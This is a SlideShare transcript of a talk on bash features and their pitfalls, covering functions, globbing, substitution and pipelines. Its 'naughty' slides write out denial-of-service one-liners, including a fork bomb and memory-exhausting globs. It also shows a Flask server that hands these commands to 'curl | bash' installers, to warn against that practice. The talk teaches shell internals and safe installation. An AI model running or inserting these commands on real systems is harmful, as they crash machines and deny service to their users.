SlideShare a Scribd company logo
Naughty & Nice
Bash Features
Nati Cohen / Fewbytes
@nocoot
$ echo $SHELL
/bin/bash
$ echo $SHELL
/bin/bash
https://docs.chef.io/resource_bash.html
https://github.com/puppetlabs/puppetlabs-mysql/blob/master/templates/mysqlbackup.sh.erb
Today
Not Today
Shellshock
Docker
Docker
Functions
Functions
function is_it_on {
ping -c 1 $1 &>/dev/null
}
$ is_it_on www.facebook.com || echo “OMG we’re doomed”
Nice Functions
Nice Functions
function it_crowd {
# Turn it off and on again
ssh $1 reboot
# Is it off yet?
while is_it_on $1; do :; done
# Is it on yet?
while ! is_it_on $1; do :; done
}
$ it_crowd mycomputer
: [arguments]
No effect; the command does
nothing beyond expanding
arguments and performing any
specified redirections.
A zero exit code is returned.
http://git.savannah.gnu.org/cgit/bash.git/tree/builtins/colon.def
Functions
function is_it_on {
ping -c 1 $1 &>/dev/null
}
$ is_it_on www.facebook.com || echo “OMG we’re doomed”
Compact Functions
is_it_on (){ ping -c 1 $1 &>/dev/null;}
$ is_it_on www.facebook.com || echo “OMG we’re doomed”
is_it_on{ ping -c 1 $1 &>/dev/null;}
bash: syntax error near unexpected token `}'
is_it_on(){ping -c 1 $1 &>/dev/null;}
bash: syntax error near unexpected token `{ping'
is_it_on{ ping -c 1 $1 &>/dev/null}
>
Cmpct Functions
:(){ ping -c 1 $1 &>/dev/null;}
$ : www.facebook.com || echo “OMG we’re doomed”
Naughty Functions (Local)
: (){ :;}
$ :
Segmentation fault (core dumped)
Naughty Functions (Global)
: (){ : $1$1;}
$ : :
bash: xrealloc: .././subst.c:687: cannot allocate
18446744071562068096 bytes (23624826880 bytes allocated)
Function definition
Function call
Parameter
Famous Naughty Functions
:(){ :|:&}
$ :
bash: fork: Cannot allocate memory
ENOMEM Cannot allocate
sufficient memory to allocate a
task structure for the child,
or to copy those parts of
the caller's context that need
to be copied.
CLONE(2)
Image taken from: http://askubuntu.com/a/159499
Globbing
Globbing
Pathname expansion using pattern matching
$ ls -ld /etc/cron*
->
$ ls -ld /etc/cron.d /etc/cron.daily /etc/cron.hourly
/etc/cron.monthly /etc/crontab /etc/cron.weekly
$ ls -ld /etcccc/*
->
$ ls -ld /etcccc/*
Globbing
$ mkdir iknowglobbing
$ cd iknowglobbing
$ touch stat
$ touch x
$ *
->
$ stat x
File: ‘x’
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 802h/2050d Inode: 4329283 Links: 1
Access: (0664/-rw-rw-r--) Uid: ( 1000/ nati) Gid: ( 1000/ nati)
Access: 2015-12-10 17:03:23.798313371 +0200
Modify: 2015-12-10 17:03:23.798313371 +0200
Change: 2015-12-10 17:03:23.798313371 +0200
Birth: -
Nice Globbing (shopt -s extglob)
!(<PATTERN-LIST>) - anything except
$ rm -rf ~/Downloads/!(*.pdf|*.doc?|*.ods|*.xls?)
?(<PATTERN-LIST>) - zero or one
*(<PATTERN-LIST>) - zero or more
+(<PATTERN-LIST>) - one or more
@(<PATTERN-LIST>) - exactly one
Nice Globbing (shopt -s <superpower>)
dotglob
Bash will also expand ‘.’ as part of glob (inc: `.`
`..`)
globstar
‘**’ will match all files and zero or more directories
nocaseglob
case-insensitive globbing
nullglob / failglob
when globbing fails expand empty string / fail with
Naughty Globbing
# Print all files in depth 10:
$ echo /*/*/*/*/*/*/*/*/*/*
# hogs your CPU, performs IOs, consumes memory
Out of memory: Kill process 3769 (bash) score 792 or
sacrifice child
Killed process 3769 (bash) total-vm:23463052kB, anon-
rss:20065304kB, file-rss:0kB
BUT
Why???
o_O
Let’s build a Christmas tree
$ mkdir -p {a1,a2,a3}/{b1,b2,b3}/{c1,c2,c3}
.
a2 a3a1
b2 b3b1b2 b3b1 b2 b3b1
How do you glob a tree?
$ strace -e openat bash -c 'echo */*/*'
openat(AT_FDCWD, ".", <FLAGS>) = 3
getdents(3, /* 5 entries */, 32768) = 120
openat(AT_FDCWD, "a2", <FLAGS>) = 3
openat(AT_FDCWD, "a3", <FLAGS>) = 3
openat(AT_FDCWD, "a1", <FLAGS>) = 3
openat(AT_FDCWD, "a2/b1", <FLAGS>) = 3
openat(AT_FDCWD, "a2/b3", <FLAGS>) = 3
openat(AT_FDCWD, "a2/b2", <FLAGS>) = 3
openat(AT_FDCWD, "a3/b1", <FLAGS>) = 3
openat(AT_FDCWD, "a3/b3", <FLAGS>) = 3
...
Where is the poop?
Image source: http://www.cse.unsw.edu.au/~billw/Justsearch.html
Size per file?
12b # avg. file name length
+
52b # avg. full path length in depth 10
=
64b
How many files?
$ for i in {1..10}; do echo -n "depth $i: "; find / -mindepth
$((i-1)) -maxdepth $i 2>/dev/null | wc -l; done
depth 1: 30
depth 2: 1418
depth 3: 21076
depth 4: 63150
depth 5: 199812
depth 6: 432928
depth 7: 568426
depth 8: 617698
depth 9: 511480
depth 10: 320827
BUT
511480 * 64b = 32mb
o_O
ltrace to the rescue
strlen("p7zip-full") = 10
memset(0x88eff08, '337', 58) = 0x88eff08
strcpy(0x88eff08,
"/proc/18256/root/proc/2628/root/usr/share/doc")= 0x88eff08
strcpy(0x88eff36, "p7zip-full") = 0x88eff36
strlen("mount") = 5
memset(0x88eff88, '337', 53) = 0x88eff88
strcpy(0x88eff88,
"/proc/18256/root/proc/2628/root/usr/share/doc")= 0x88eff88
strcpy(0x88effb6, "mount")= 0x88effb6
/proc/<PID>/root
“per-process root of the filesystem, set by the chroot(2)”
usually symlink to /
depth 1: 30
depth 2: 1418
depth 3: 21076
depth 4: 63150
depth 5: 199812
depth 6: 432928
depth 7: 568426
depth 8: 617698
depth 9: 511480
depth 10: 320827
Assuming root and 100 processes:
(100*432928 +
100*100*21076) * 64b
= 15.1gb
Naughty Globbing - Recap
$ echo /*/*/*/*/*/*/*/*/*/*
64b per file
Keeps previous level in memory (BFS)
Follows symlinks over and over
/proc/PID/root
/proc/PID/cwd
Command Substitution
Command Substitution
# old-style
$ echo All you need is `basename $0`
All you need is bash
# new-style
$ echo $(basename $0) is all you need
bash is all you need
# new-style is cool
bobs_cred="$(echo bob:"$(shuf -n4 /usr/share/dict/words | tr
-d 'n')" | chpasswd -S -c SHA512)"
nested commands
nested double-quotes
Nice Command Process Substitution
# Compare filesystem features
$ diff <(dumpe2fs -h /dev/sdb1) <(dumpe2fs -h /dev/sdc1)
->
$ diff /dev/fd/63 /dev/fd/62
lr-x------ 1 nati nati ... /dev/fd/62 -> pipe:[142006]
lr-x------ 1 nati nati ... /dev/fd/63 -> pipe:[142004]
# Write bad blocks to a compressed log and rsyslogd
$ dumpe2fs -b /dev/sda1 | tee >(gzip >> bad_blocks.log.gz) |
logger -t bad_blocks --
Naughty Command Substitution
$ echo `yes Let it snow`
bash: xrealloc: .././subst.c:5273: cannot allocate
18446744071562067968 bytes (4298260480 bytes allocated)
$ yes somestring
somestring
somestring
somestring
somestring
somestring
...
Naughty Process Substitution
# Remember me?
$ :(){ : <(:);}
$ :
bash: fork: Cannot allocate memory
Pipelines
ls | wc -l
The STDOUT of ls is connected to the STDIN of wc -l
Each command is executed as a separate process
# What if I also want STDERR?
$ ls 2>&1 | wc -l
$ ls |& wc -l
Nice Pipelines: exit code(s)
# The following pipeline is a huge success
$ backup.sh | aws s3 cp - s3://my-bkt/backup.gz | echo Yay
$ echo $? # Always 0
# Solution 1
$ set -o pipefail # pipes return rightmost non-zero
Nice Pipelines: exit code(s)
# Solution 2
$ ls | bogus_command | wc
bogus_command: command not found
0 0 0
$ echo ${PIPESTATUS[@]} # array of exit status values
0 127 0
http://tldp.org/LDP/abs/html/internalvariables.html#PIPESTATUSREF
Nice Pipelines (shopt - s lastpipe)
# The following only works when job control is off
# How many files in /tmp?
myvar=0
ls /tmp | wc -l | read myvar
echo $myvar files in /tmp # Always 0! why?
# How many files in /tmp?
shopt -s lastpipe
myvar=0
ls /tmp | wc -l | read myvar
echo $myvar files in /tmp
Naughty Pipelines
curl http://install.myawesomefullstackapp.io | bash
Someone can take over install.myawesomefullstackapp.io
So what?
0_0
Naughty Pipelines
import random
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return random.choice([':(){ :;} :',
':(){ : $1$1;} : :',
':(){ :|:&} :',
'echo /*/*/*/*/*/*/*/*/*/*',
'echo `yes Let it snow`',
':(){ : <(:);} :' ])
if __name__ == "__main__":
app.run()
Naughty Pipelines
What about network failures?
Do you trust curl? is it a function/alias?
Do you trust myawesomefullstackapp.io?
curl http://install.myawesomefullstackapp.io | bash
Someone can take over install.myawesomefullstackapp.io
Naughty Pipelines http://curlpipesh.tumblr.com
Thank You!
Questions?
Nati Cohen / Fewbytes
@nocoot
References
Advanced Bash-Scripting Guide
http://www.tldp.org/LDP/abs/html/index.html
Bash Git Repository
http://git.savannah.gnu.org/cgit/bash.git
Create a memory leak, without any fork bombs
http://codegolf.stackexchange.com/a/24488

More Related Content

What's hot (20)

PDF
node ffi
偉格 高
 
PDF
Cluj Big Data Meetup - Big Data in Practice
Steffen Wenz
 
PDF
Crystal Rocks
Brian Cardiff
 
PDF
ZeroMQ Is The Answer
Ian Barber
 
PDF
PyData Berlin Meetup
Steffen Wenz
 
PDF
ZeroMQ Is The Answer: DPC 11 Version
Ian Barber
 
PDF
Go Containers
jgrahamc
 
PDF
Go Concurrency
jgrahamc
 
PDF
Go Memory
Cloudflare
 
PDF
ZeroMQ: Messaging Made Simple
Ian Barber
 
PDF
7 Common Mistakes in Go (2015)
Steven Francia
 
PDF
BOSH deploys distributed systems, and Diego runs any containers
Benjamin Gandon
 
KEY
Clojure + MongoDB on Heroku
Naoyuki Kakuda
 
PDF
faastCrystal
Sachirou Inoue
 
PDF
Gitosis on Mac OS X Server
Yasuhiro Asaka
 
PDF
Workshop on command line tools - day 1
Leandro Lima
 
PDF
Workshop on command line tools - day 2
Leandro Lima
 
PDF
Writing a compiler in go
Yusuke Kita
 
PPTX
ql.io: Consuming HTTP at Scale
Subbu Allamaraju
 
PDF
Créer une base NoSQL en 1 heure
Amaury Bouchard
 
node ffi
偉格 高
 
Cluj Big Data Meetup - Big Data in Practice
Steffen Wenz
 
Crystal Rocks
Brian Cardiff
 
ZeroMQ Is The Answer
Ian Barber
 
PyData Berlin Meetup
Steffen Wenz
 
ZeroMQ Is The Answer: DPC 11 Version
Ian Barber
 
Go Containers
jgrahamc
 
Go Concurrency
jgrahamc
 
Go Memory
Cloudflare
 
ZeroMQ: Messaging Made Simple
Ian Barber
 
7 Common Mistakes in Go (2015)
Steven Francia
 
BOSH deploys distributed systems, and Diego runs any containers
Benjamin Gandon
 
Clojure + MongoDB on Heroku
Naoyuki Kakuda
 
faastCrystal
Sachirou Inoue
 
Gitosis on Mac OS X Server
Yasuhiro Asaka
 
Workshop on command line tools - day 1
Leandro Lima
 
Workshop on command line tools - day 2
Leandro Lima
 
Writing a compiler in go
Yusuke Kita
 
ql.io: Consuming HTTP at Scale
Subbu Allamaraju
 
Créer une base NoSQL en 1 heure
Amaury Bouchard
 

Viewers also liked (20)

PPTX
Commands[1]
Michelle Kelley
 
PDF
Flip video communication
Shantanu Sengupta
 
DOC
REGLAMENTO CUATREADA BACH
yogui1970
 
PPSX
Amor eterno
Constanza Maté
 
DOCX
Debtanu_cv
Debtanu Chatterjee
 
PDF
Stki summit2013 infra_pini sigaltechnologies_v5 final
Pini Cohen
 
PPTX
Conquistar es imposible
Sara Moreno Orozco
 
PDF
Le zanzare sono un tormento? Vediamo come difenderci
Vivere La Casa in Campagna
 
PDF
Webconferencing adobe e-learning_day_2011_stoller-schai
Dr. Daniel Stoller-Schai
 
PPT
Tema 2. la revolución industrial
jmap2222
 
PDF
Marktforschung mit einfachen Mitteln
Jörg Hoewner
 
PDF
La BolsaenelañO2009
IvanAleman
 
PDF
Minuta acensores empresa schindler 03 21-07-2011
Antonio Cazorla
 
PDF
nanopub-java: A Java Library for Nanopublications
Tobias Kuhn
 
DOCX
Integradora I portafolio joran abelino
Marco Antonio Pineda
 
DOCX
Primer programador piedras preciosas
Mayerly Martinez
 
PPT
La oreja Roja
bw24h
 
DOCX
Resumen el trabajo colaborativo mediante redes
fabiolaflolug
 
PDF
oiml_bulletin_april_2015
Wan Malik
 
PDF
Clase 1 (2016) sección s1
Suelen Oseida
 
Commands[1]
Michelle Kelley
 
Flip video communication
Shantanu Sengupta
 
REGLAMENTO CUATREADA BACH
yogui1970
 
Amor eterno
Constanza Maté
 
Debtanu_cv
Debtanu Chatterjee
 
Stki summit2013 infra_pini sigaltechnologies_v5 final
Pini Cohen
 
Conquistar es imposible
Sara Moreno Orozco
 
Le zanzare sono un tormento? Vediamo come difenderci
Vivere La Casa in Campagna
 
Webconferencing adobe e-learning_day_2011_stoller-schai
Dr. Daniel Stoller-Schai
 
Tema 2. la revolución industrial
jmap2222
 
Marktforschung mit einfachen Mitteln
Jörg Hoewner
 
La BolsaenelañO2009
IvanAleman
 
Minuta acensores empresa schindler 03 21-07-2011
Antonio Cazorla
 
nanopub-java: A Java Library for Nanopublications
Tobias Kuhn
 
Integradora I portafolio joran abelino
Marco Antonio Pineda
 
Primer programador piedras preciosas
Mayerly Martinez
 
La oreja Roja
bw24h
 
Resumen el trabajo colaborativo mediante redes
fabiolaflolug
 
oiml_bulletin_april_2015
Wan Malik
 
Clase 1 (2016) sección s1
Suelen Oseida
 
Ad

Similar to Naughty And Nice Bash Features (20)

PDF
Unleash your inner console cowboy
Kenneth Geisshirt
 
PDF
One-Liners to Rule Them All
egypt
 
PDF
Linux Command Line - By Ranjan Raja
Ranjan Raja
 
PPTX
Linux Fundamentals
DianaWhitney4
 
PDF
Unleash your inner console cowboy
Kenneth Geisshirt
 
PDF
Linux cheat sheet
Pinaki Mahata Mukherjee
 
PDF
Basic linux commands for bioinformatics
Bonnie Ng
 
PDF
Bash Scripting Workshop
Ahmed Magdy Ezzeldin, MSc.
 
ODP
Unix tips and tricks
Aleksandar Bilanovic
 
PDF
2023comp90024_linux2.pdf
LevLafayette1
 
PDF
Shell scripting
Geeks Anonymes
 
ODP
Nguyễn Vũ Hưng: Basic Linux Power Tools
Vu Hung Nguyen
 
PPTX
Linux Presentation
Muhammad Qazi
 
PDF
BSDM with BASH: Command Interpolation
Workhorse Computing
 
PPTX
Linux Shell Basics
Constantine Nosovsky
 
PPTX
Unix Linux Commands Presentation 2013
Wave Digitech
 
PDF
Linux: A Getting Started Presentation
Nap Ramirez
 
PPTX
Linux tech talk
Prince Raj
 
PPT
BITS: Introduction to Linux - Text manipulation tools for bioinformatics
BITS
 
PDF
Unleash your inner console cowboy
Kenneth Geisshirt
 
Unleash your inner console cowboy
Kenneth Geisshirt
 
One-Liners to Rule Them All
egypt
 
Linux Command Line - By Ranjan Raja
Ranjan Raja
 
Linux Fundamentals
DianaWhitney4
 
Unleash your inner console cowboy
Kenneth Geisshirt
 
Linux cheat sheet
Pinaki Mahata Mukherjee
 
Basic linux commands for bioinformatics
Bonnie Ng
 
Bash Scripting Workshop
Ahmed Magdy Ezzeldin, MSc.
 
Unix tips and tricks
Aleksandar Bilanovic
 
2023comp90024_linux2.pdf
LevLafayette1
 
Shell scripting
Geeks Anonymes
 
Nguyễn Vũ Hưng: Basic Linux Power Tools
Vu Hung Nguyen
 
Linux Presentation
Muhammad Qazi
 
BSDM with BASH: Command Interpolation
Workhorse Computing
 
Linux Shell Basics
Constantine Nosovsky
 
Unix Linux Commands Presentation 2013
Wave Digitech
 
Linux: A Getting Started Presentation
Nap Ramirez
 
Linux tech talk
Prince Raj
 
BITS: Introduction to Linux - Text manipulation tools for bioinformatics
BITS
 
Unleash your inner console cowboy
Kenneth Geisshirt
 
Ad

Recently uploaded (20)

PPTX
法国巴黎第二大学本科毕业证{Paris 2学费发票Paris 2成绩单}办理方法
Taqyea
 
PDF
The-Hidden-Dangers-of-Skipping-Penetration-Testing.pdf.pdf
naksh4thra
 
PPTX
Orchestrating things in Angular application
Peter Abraham
 
PPTX
L1A Season 1 ENGLISH made by A hegy fixed
toszolder91
 
PPT
Agilent Optoelectronic Solutions for Mobile Application
andreashenniger2
 
PPT
Computer Securityyyyyyyy - Chapter 1.ppt
SolomonSB
 
PPTX
Optimization_Techniques_ML_Presentation.pptx
farispalayi
 
PPT
introductio to computers by arthur janry
RamananMuthukrishnan
 
PDF
AI_MOD_1.pdf artificial intelligence notes
shreyarrce
 
PDF
Apple_Environmental_Progress_Report_2025.pdf
yiukwong
 
PDF
Build Fast, Scale Faster: Milvus vs. Zilliz Cloud for Production-Ready AI
Zilliz
 
PPTX
ONLINE BIRTH CERTIFICATE APPLICATION SYSYTEM PPT.pptx
ShyamasreeDutta
 
PDF
Azure_DevOps introduction for CI/CD and Agile
henrymails
 
PPTX
一比一原版(SUNY-Albany毕业证)纽约州立大学奥尔巴尼分校毕业证如何办理
Taqyea
 
PPTX
ZARA-Case.pptx djdkkdjnddkdoodkdxjidjdnhdjjdjx
RonnelPineda2
 
PDF
𝐁𝐔𝐊𝐓𝐈 𝐊𝐄𝐌𝐄𝐍𝐀𝐍𝐆𝐀𝐍 𝐊𝐈𝐏𝐄𝐑𝟒𝐃 𝐇𝐀𝐑𝐈 𝐈𝐍𝐈 𝟐𝟎𝟐𝟓
hokimamad0
 
PPTX
Research Design - Report on seminar in thesis writing. PPTX
arvielobos1
 
PPTX
PM200.pptxghjgfhjghjghjghjghjghjghjghjghjghj
breadpaan921
 
PPTX
PE introd.pptxfrgfgfdgfdgfgrtretrt44t444
nepmithibai2024
 
PPT
Computer Securityyyyyyyy - Chapter 2.ppt
SolomonSB
 
法国巴黎第二大学本科毕业证{Paris 2学费发票Paris 2成绩单}办理方法
Taqyea
 
The-Hidden-Dangers-of-Skipping-Penetration-Testing.pdf.pdf
naksh4thra
 
Orchestrating things in Angular application
Peter Abraham
 
L1A Season 1 ENGLISH made by A hegy fixed
toszolder91
 
Agilent Optoelectronic Solutions for Mobile Application
andreashenniger2
 
Computer Securityyyyyyyy - Chapter 1.ppt
SolomonSB
 
Optimization_Techniques_ML_Presentation.pptx
farispalayi
 
introductio to computers by arthur janry
RamananMuthukrishnan
 
AI_MOD_1.pdf artificial intelligence notes
shreyarrce
 
Apple_Environmental_Progress_Report_2025.pdf
yiukwong
 
Build Fast, Scale Faster: Milvus vs. Zilliz Cloud for Production-Ready AI
Zilliz
 
ONLINE BIRTH CERTIFICATE APPLICATION SYSYTEM PPT.pptx
ShyamasreeDutta
 
Azure_DevOps introduction for CI/CD and Agile
henrymails
 
一比一原版(SUNY-Albany毕业证)纽约州立大学奥尔巴尼分校毕业证如何办理
Taqyea
 
ZARA-Case.pptx djdkkdjnddkdoodkdxjidjdnhdjjdjx
RonnelPineda2
 
𝐁𝐔𝐊𝐓𝐈 𝐊𝐄𝐌𝐄𝐍𝐀𝐍𝐆𝐀𝐍 𝐊𝐈𝐏𝐄𝐑𝟒𝐃 𝐇𝐀𝐑𝐈 𝐈𝐍𝐈 𝟐𝟎𝟐𝟓
hokimamad0
 
Research Design - Report on seminar in thesis writing. PPTX
arvielobos1
 
PM200.pptxghjgfhjghjghjghjghjghjghjghjghjghj
breadpaan921
 
PE introd.pptxfrgfgfdgfdgfgrtretrt44t444
nepmithibai2024
 
Computer Securityyyyyyyy - Chapter 2.ppt
SolomonSB
 

Naughty And Nice Bash Features

  • 1. Naughty & Nice Bash Features Nati Cohen / Fewbytes @nocoot
  • 7. Functions function is_it_on { ping -c 1 $1 &>/dev/null } $ is_it_on www.facebook.com || echo “OMG we’re doomed”
  • 9. Nice Functions function it_crowd { # Turn it off and on again ssh $1 reboot # Is it off yet? while is_it_on $1; do :; done # Is it on yet? while ! is_it_on $1; do :; done } $ it_crowd mycomputer : [arguments] No effect; the command does nothing beyond expanding arguments and performing any specified redirections. A zero exit code is returned. http://git.savannah.gnu.org/cgit/bash.git/tree/builtins/colon.def
  • 10. Functions function is_it_on { ping -c 1 $1 &>/dev/null } $ is_it_on www.facebook.com || echo “OMG we’re doomed”
  • 11. Compact Functions is_it_on (){ ping -c 1 $1 &>/dev/null;} $ is_it_on www.facebook.com || echo “OMG we’re doomed” is_it_on{ ping -c 1 $1 &>/dev/null;} bash: syntax error near unexpected token `}' is_it_on(){ping -c 1 $1 &>/dev/null;} bash: syntax error near unexpected token `{ping' is_it_on{ ping -c 1 $1 &>/dev/null} >
  • 12. Cmpct Functions :(){ ping -c 1 $1 &>/dev/null;} $ : www.facebook.com || echo “OMG we’re doomed”
  • 13. Naughty Functions (Local) : (){ :;} $ : Segmentation fault (core dumped)
  • 14. Naughty Functions (Global) : (){ : $1$1;} $ : : bash: xrealloc: .././subst.c:687: cannot allocate 18446744071562068096 bytes (23624826880 bytes allocated) Function definition Function call Parameter
  • 15. Famous Naughty Functions :(){ :|:&} $ : bash: fork: Cannot allocate memory ENOMEM Cannot allocate sufficient memory to allocate a task structure for the child, or to copy those parts of the caller's context that need to be copied. CLONE(2) Image taken from: http://askubuntu.com/a/159499
  • 17. Globbing Pathname expansion using pattern matching $ ls -ld /etc/cron* -> $ ls -ld /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/crontab /etc/cron.weekly $ ls -ld /etcccc/* -> $ ls -ld /etcccc/*
  • 18. Globbing $ mkdir iknowglobbing $ cd iknowglobbing $ touch stat $ touch x $ * -> $ stat x File: ‘x’ Size: 0 Blocks: 0 IO Block: 4096 regular empty file Device: 802h/2050d Inode: 4329283 Links: 1 Access: (0664/-rw-rw-r--) Uid: ( 1000/ nati) Gid: ( 1000/ nati) Access: 2015-12-10 17:03:23.798313371 +0200 Modify: 2015-12-10 17:03:23.798313371 +0200 Change: 2015-12-10 17:03:23.798313371 +0200 Birth: -
  • 19. Nice Globbing (shopt -s extglob) !(<PATTERN-LIST>) - anything except $ rm -rf ~/Downloads/!(*.pdf|*.doc?|*.ods|*.xls?) ?(<PATTERN-LIST>) - zero or one *(<PATTERN-LIST>) - zero or more +(<PATTERN-LIST>) - one or more @(<PATTERN-LIST>) - exactly one
  • 20. Nice Globbing (shopt -s <superpower>) dotglob Bash will also expand ‘.’ as part of glob (inc: `.` `..`) globstar ‘**’ will match all files and zero or more directories nocaseglob case-insensitive globbing nullglob / failglob when globbing fails expand empty string / fail with
  • 21. Naughty Globbing # Print all files in depth 10: $ echo /*/*/*/*/*/*/*/*/*/* # hogs your CPU, performs IOs, consumes memory Out of memory: Kill process 3769 (bash) score 792 or sacrifice child Killed process 3769 (bash) total-vm:23463052kB, anon- rss:20065304kB, file-rss:0kB BUT Why??? o_O
  • 22. Let’s build a Christmas tree $ mkdir -p {a1,a2,a3}/{b1,b2,b3}/{c1,c2,c3} . a2 a3a1 b2 b3b1b2 b3b1 b2 b3b1
  • 23. How do you glob a tree? $ strace -e openat bash -c 'echo */*/*' openat(AT_FDCWD, ".", <FLAGS>) = 3 getdents(3, /* 5 entries */, 32768) = 120 openat(AT_FDCWD, "a2", <FLAGS>) = 3 openat(AT_FDCWD, "a3", <FLAGS>) = 3 openat(AT_FDCWD, "a1", <FLAGS>) = 3 openat(AT_FDCWD, "a2/b1", <FLAGS>) = 3 openat(AT_FDCWD, "a2/b3", <FLAGS>) = 3 openat(AT_FDCWD, "a2/b2", <FLAGS>) = 3 openat(AT_FDCWD, "a3/b1", <FLAGS>) = 3 openat(AT_FDCWD, "a3/b3", <FLAGS>) = 3 ...
  • 24. Where is the poop? Image source: http://www.cse.unsw.edu.au/~billw/Justsearch.html
  • 25. Size per file? 12b # avg. file name length + 52b # avg. full path length in depth 10 = 64b
  • 26. How many files? $ for i in {1..10}; do echo -n "depth $i: "; find / -mindepth $((i-1)) -maxdepth $i 2>/dev/null | wc -l; done depth 1: 30 depth 2: 1418 depth 3: 21076 depth 4: 63150 depth 5: 199812 depth 6: 432928 depth 7: 568426 depth 8: 617698 depth 9: 511480 depth 10: 320827 BUT 511480 * 64b = 32mb o_O
  • 27. ltrace to the rescue strlen("p7zip-full") = 10 memset(0x88eff08, '337', 58) = 0x88eff08 strcpy(0x88eff08, "/proc/18256/root/proc/2628/root/usr/share/doc")= 0x88eff08 strcpy(0x88eff36, "p7zip-full") = 0x88eff36 strlen("mount") = 5 memset(0x88eff88, '337', 53) = 0x88eff88 strcpy(0x88eff88, "/proc/18256/root/proc/2628/root/usr/share/doc")= 0x88eff88 strcpy(0x88effb6, "mount")= 0x88effb6
  • 28. /proc/<PID>/root “per-process root of the filesystem, set by the chroot(2)” usually symlink to / depth 1: 30 depth 2: 1418 depth 3: 21076 depth 4: 63150 depth 5: 199812 depth 6: 432928 depth 7: 568426 depth 8: 617698 depth 9: 511480 depth 10: 320827 Assuming root and 100 processes: (100*432928 + 100*100*21076) * 64b = 15.1gb
  • 29. Naughty Globbing - Recap $ echo /*/*/*/*/*/*/*/*/*/* 64b per file Keeps previous level in memory (BFS) Follows symlinks over and over /proc/PID/root /proc/PID/cwd
  • 31. Command Substitution # old-style $ echo All you need is `basename $0` All you need is bash # new-style $ echo $(basename $0) is all you need bash is all you need # new-style is cool bobs_cred="$(echo bob:"$(shuf -n4 /usr/share/dict/words | tr -d 'n')" | chpasswd -S -c SHA512)" nested commands nested double-quotes
  • 32. Nice Command Process Substitution # Compare filesystem features $ diff <(dumpe2fs -h /dev/sdb1) <(dumpe2fs -h /dev/sdc1) -> $ diff /dev/fd/63 /dev/fd/62 lr-x------ 1 nati nati ... /dev/fd/62 -> pipe:[142006] lr-x------ 1 nati nati ... /dev/fd/63 -> pipe:[142004] # Write bad blocks to a compressed log and rsyslogd $ dumpe2fs -b /dev/sda1 | tee >(gzip >> bad_blocks.log.gz) | logger -t bad_blocks --
  • 33. Naughty Command Substitution $ echo `yes Let it snow` bash: xrealloc: .././subst.c:5273: cannot allocate 18446744071562067968 bytes (4298260480 bytes allocated) $ yes somestring somestring somestring somestring somestring somestring ...
  • 34. Naughty Process Substitution # Remember me? $ :(){ : <(:);} $ : bash: fork: Cannot allocate memory
  • 36. ls | wc -l The STDOUT of ls is connected to the STDIN of wc -l Each command is executed as a separate process # What if I also want STDERR? $ ls 2>&1 | wc -l $ ls |& wc -l
  • 37. Nice Pipelines: exit code(s) # The following pipeline is a huge success $ backup.sh | aws s3 cp - s3://my-bkt/backup.gz | echo Yay $ echo $? # Always 0 # Solution 1 $ set -o pipefail # pipes return rightmost non-zero
  • 38. Nice Pipelines: exit code(s) # Solution 2 $ ls | bogus_command | wc bogus_command: command not found 0 0 0 $ echo ${PIPESTATUS[@]} # array of exit status values 0 127 0 http://tldp.org/LDP/abs/html/internalvariables.html#PIPESTATUSREF
  • 39. Nice Pipelines (shopt - s lastpipe) # The following only works when job control is off # How many files in /tmp? myvar=0 ls /tmp | wc -l | read myvar echo $myvar files in /tmp # Always 0! why? # How many files in /tmp? shopt -s lastpipe myvar=0 ls /tmp | wc -l | read myvar echo $myvar files in /tmp
  • 40. Naughty Pipelines curl http://install.myawesomefullstackapp.io | bash Someone can take over install.myawesomefullstackapp.io So what? 0_0
  • 41. Naughty Pipelines import random from flask import Flask app = Flask(__name__) @app.route("/") def hello(): return random.choice([':(){ :;} :', ':(){ : $1$1;} : :', ':(){ :|:&} :', 'echo /*/*/*/*/*/*/*/*/*/*', 'echo `yes Let it snow`', ':(){ : <(:);} :' ]) if __name__ == "__main__": app.run()
  • 42. Naughty Pipelines What about network failures? Do you trust curl? is it a function/alias? Do you trust myawesomefullstackapp.io? curl http://install.myawesomefullstackapp.io | bash Someone can take over install.myawesomefullstackapp.io
  • 44. Thank You! Questions? Nati Cohen / Fewbytes @nocoot
  • 45. References Advanced Bash-Scripting Guide http://www.tldp.org/LDP/abs/html/index.html Bash Git Repository http://git.savannah.gnu.org/cgit/bash.git Create a memory leak, without any fork bombs http://codegolf.stackexchange.com/a/24488

Editor's Notes

  • #3: Today I’m going to talk about Bash We all love bash, because it’s awesome and allows us to create these awesome one liners We also hate bash, because of that time when everything crashed and we had to figure out what the previous sysadmin’s one-liner did
  • #4: We do our best to avoid Bash using all sort of fancy configuration management, Just to end up creating “bash resources” and generating bash scripts using ruby code...
  • #5: So, today I’m going to talk about Bash I’m going to go over some cool features that can make your life great And then I’m going to show you how Bash crash miserably, possibly taking your entire system down with it
  • #43: Use https://… curl has a 4k output buffer (on Linux) You can force input buffering in bash using {...} Use command curl or \curl Prefer a signed repository